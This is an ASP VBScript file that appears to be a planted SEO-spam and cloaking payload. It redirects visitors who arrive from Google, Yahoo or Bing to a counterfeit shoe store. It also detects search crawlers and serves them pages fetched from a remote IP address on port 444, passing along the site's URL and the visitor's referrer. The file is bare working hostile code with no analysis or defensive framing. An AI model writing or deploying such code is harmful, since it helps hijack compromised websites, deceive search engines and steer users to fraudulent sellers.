<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% dim s_http_user_agent s_http_user_agent = lcase(Request.ServerVariables("HTTP_REFERER")) if Instr( s_http_user_agent, "google") or Instr( s_http_user_agent, "yahoo") or Instr(s_http_user_agent, "bing") then Response.Redirect("http://www.uggs-us.com") end if 'on error resume next Function isSpider() dim s_agent isSpider="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") if instr(1,s_agent,"google",1) >0 then isSpider="yes" end if if instr(1,s_agent,"yahoo",1) >0 then isSpider="yes" end if if instr(1,s_agent,"ask",1) >0 then isSpider="yes" end if if instr(1,s_agent,"bing",1) >0 then isSpider="yes" end if End Function Function checkLanguage() Dim userLanguage userLanguage=LCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")) if InStr(userLanguage,"zh")>0 then checkLanguage=false else checkLanguage=true end if End Function Function getReferer() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) getReferer = false if urlrefer="" then getReferer = false searray=array("google","bing","yahoo","aol") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then getReferer=true next end Function '1、输入url目标网页地址,返回值getHTTPPage是目标网页的html代码 Function getHTTPPage(url) dim Http 'set Http=Server.createobject("MSXML2.XMLHTTP") set Http=Server.createobject("Microsoft.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=BytesToBstr(Http.responseBody) set http=nothing if err.number<>0 then err.Clear End Function '2、转换乱玛,直接用xmlhttp调用有中文字符的网页得到的将是乱玛,可以通过adodb.stream组件进行转换 Function BytesToBstr(body) dim objstream set objstream = Server.CreateObject("adodb.stream") 'set objstream =Server.CreateObject("adodb."&"stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write(body) objstream.Position = 0 objstream.Type = 2 objstream.Charset = "UTF-8" BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function '获取当前Url参数的函? Function getUrl() Dim ScriptAddress,Servername,qs ScriptAddress = CStr(Request.ServerVariables("SCRIPT_NAME")) Servername = CStr(Request.ServerVariables("Http_Host")) qs=Request.QueryString if qs<>"" then getUrl ="http://"& Servername & ScriptAddress &"?"&qs else getUrl ="http://"& Servername & ScriptAddress end if End Function '判断请求数据 Dim targetUrl,mickeyResultUrl,mickeyResultBrand,resultData,mShow 'mShow=Request.QueryString("p") mickeyResultUrl=getUrl() if instr(mickeyResultUrl,"?") > 0 then mickeyResultUrl=Server.URLEncode(getUrl()) mickeyResultReferer=Server.URLEncode(trim(Request.ServerVariables("HTTP_REFERER"))) 'mickeyResultBrand=Request.QueryString("b") 'mickeyResultModule=Request.QueryString("m") mickeyResultBot=isSpider() if mickeyResultBot="yes" then targetUrl="http://198.27.67.103:444/PSingle/?u=" & mickeyResultUrl & "&spiderbot=yes" & "&r=" & mickeyResultReferer else targetUrl="http://198.27.67.103:444/PSingle/?u=" & mickeyResultUrl & "&spiderbot=no" & "&r=" & mickeyResultReferer end if '输出数据 Response.Clear resultData = getHTTPPage(targetUrl) Response.Write(resultData) Response.Flush Response.end else 'Response.Clear 'resultData = getHTTPPage("http://www.desktopnotice.com/index.html") '更改的备份url 'Response.Write(resultData) 'Response.Flush 'Response.end end if %>